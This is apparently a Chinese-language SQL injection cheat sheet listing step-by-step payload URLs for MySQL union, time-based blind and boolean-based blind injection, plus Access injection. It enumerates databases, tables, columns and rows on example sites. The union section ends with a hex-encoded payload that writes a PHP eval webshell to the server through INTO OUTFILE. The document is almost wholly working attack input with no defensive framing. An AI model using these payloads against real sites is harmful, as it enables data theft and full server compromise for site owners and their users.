目录
Mysql注入
union query(union联合查询)
time-based blind(基于时间的盲注)
boolean-based blind(基于布尔型盲注)
Access注入
boolean-based blind(基于布尔型盲注)
1、回显正确
http://www.dandelion.com/about.php?id=15' and 1=1 --+
2、回显错误,断定存在注入,并确认payload
http://www.dandelion.com/about.php?id=15' and 1=2 --+
3、回显错误,字段小于9
http://www.dandelion.com/about.php?id=15' order by 9 --+
4、回显正确,字段长度为8(凡是小于等于正确字段长度都会回显正确)
http://www.dandelion.com/about.php?id=15' order by 8 --+
5、将参数改为负值(清空页面输出),并构造联合查询
http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,5,6,7,8 --+
6、查询用户名,当前数据库名,当前数据库版本,数据库路径,操作系统类型
http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,concat_ws('*****',user(),database(),version(),@@datadir,@@version_compile_os),6,7,8 --+
注:函数concat_ws(str1,str2,str3)的作用为,用str1把str2和str3分隔输出
7、查询所有数据库名
http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,group_concat(schema_name),6,7,8 from information_schema.schemata --+
注:函数group_concat(str1)的作用为,一次性输出属于str1的内容
8、查询表名
http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,group_concat(table_name),6,7,8 from information_schema.tables where table_schema='dandelion'--+
9、查询字段名
http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,group_concat(column_name),6,7,8 from information_schema.columns where table_name='about_class' --+
10、查询数据
http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,group_concat(concat_ws('*****',id,c_name,c_order)),6,7,8 from about_class --+
http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,concat_ws('*****',id,c_name,c_order),6,7,8 from about_class limit 1,1 --+
注:函数limit int1,int2的作用为,输出位置int1开始的后int2行数据
11、写入webshell
http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,0x73656c65637420223c3f70687020406576616c28245f504f53545b27313233275d293b3f3e2220696e746f206f757466696c652022433a5c5c7777775c5c7765627368656c6c2e70687022,6,7,8 --+
1、测试是否存在时间注入,存在则延迟响应,大概为2s+,否则少于1s
http://www.dandelion.com/about.php?id=15 and sleep(2) --+
http://www.dandelion.com/about.php?id=15' and sleep(2) --+
2、猜测数据库名长度,经测试无法使用不等符号
http://www.dandelion.com/about.php?id=15' and sleep(if(length(database())=9,2,0)) --+
3、猜测数据库名第一个字符
http://www.dandelion.com/about.php?id=15' and sleep(if(ascii(substr(database(),1,1))=100,2,0)) --+
注:函数substr(str1,int1,int2)的作用为,输出str1从int1位置开始的后int2个字符
4、猜测第一个表名的长度
http://www.dandelion.com/about.php?id=15' and sleep(if(length((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1))=11,2,0)) --+
注:含limit的整个语句(就算已经被某个函数括起来)最好单独加个括号括起来,否则有时候会和执行失败
5、猜测第一个表名的第一个字符
http://www.dandelion.com/about.php?id=15' and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1),1,1))=97,2,0)) --+
6、猜测第一列列名的长度
http://www.dandelion.com/about.php?id=15' and sleep(if(length((select column_name from information_schema.columns where table_name='about_class' limit 0,1))=2,2,0)) --+
7、猜测第一列列名的第一个字符
http://www.dandelion.com/about.php?id=15' and sleep(if(ascii(substr((select column_name from information_schema.columns where table_name='about_class' limit 0,1),1,1))=105,2,0)) --+
8、猜测第一行数据的长度
http://www.dandelion.com/about.php?id=15' and sleep(if(length((select id from about_class limit 0,1))=1,2,0)) --+
9、猜测第一行数据的第一个字符
http://www.dandelion.com/about.php?id=15' and sleep(if(ascii(substr((select id from about_class limit 0,1),1,1))=49,2,0)) --+
1、判断是否存在注入,以及payload
http://www.dandelion.com/about.php?id=15' and 1=1 --+
http://www.dandelion.com/about.php?id=15' and 1=2 --+
2、判断数据库长度
http://www.dandelion.com/about.php?id=15' and length(database())>8 --+
http://www.dandelion.com/about.php?id=15' and length(database())>9 --+
3、判断数据库第一个字符
http://www.dandelion.com/about.php?id=15' and ascii(substr(database(),1,1))>99 --+
http://www.dandelion.com/about.php?id=15' and ascii(substr(database(),1,1))>100 --+
4、判断第一个表名长度
http://www.dandelion.com/about.php?id=15' and length((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1))>11 --+
http://www.dandelion.com/about.php?id=15' and length((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1))>10 --+
5、判断第一个表名第一个字符
http://www.dandelion.com/about.php?id=15' and ascii(substr((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1),1,1))>97 --+
http://www.dandelion.com/about.php?id=15' and ascii(substr((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1),1,1))>96 --+
6、判断第一列列名长度
http://www.dandelion.com/about.php?id=15' and length((select column_name from information_schema.columns where table_name='about_class' limit 0,1))>2--+
http://www.dandelion.com/about.php?id=15' and length((select column_name from information_schema.columns where table_name='about_class' limit 0,1))>1--+
7、判断第一列列名第一个字符
http://www.dandelion.com/about.php?id=15' and ascii(substr((select column_name from information_schema.columns where table_name='about_class' limit 0,1),1,1))>105 --+
www.dandelion.com/about.php?id=15' and ascii(substr((select column_name from information_schema.columns where table_name='about_class' limit 0,1),1,1))>104 --+
8、判断id列第一行数据的长度
http://www.dandelion.com/about.php?id=15' and length((select id from about_class limit 0,1))>0 --+
http://www.dandelion.com/about.php?id=15' and length((select id from about_class limit 0,1))>1 --+
9、判断id列第一行数据的第一个字符
http://www.dandelion.com/about.php?id=15' and ascii(substr((select id from about_class limit 0,1),1,1))>48 --+
http://www.dandelion.com/about.php?id=15' and ascii(substr((select id from about_class limit 0,1),1,1))>49 --+
1、判断存在注入及确定payload
http://www.liang.com/products_detail.asp?id=1762 and 1=1
http://www.liang.com/products_detail.asp?id=1762 and 1=2
2、猜表名
http://www.liang.com/products_detail.asp?id=1762 and exists(select * from liang)
3、猜列名
http://www.liang.com/products_detail.asp?id=1762 and exists(select username from liang)
http://www.liang.com/products_detail.asp?id=1762 and exists(select password from liang)
4、猜列username中第一行数据的值的长度
http://www.liang.com/products_detail.asp?id=1762 and (select top 1 len(username) from liang)=5
5、猜列username中第一行数据的值的第一个字符
http://www.liang.com/products_detail.asp?id=1762 and(select top 1 asc(mid(username,1,1)) from liang)=97
注:函数asc()与mysql中ascii()作用相同,mid()与mysql中substr()作用相同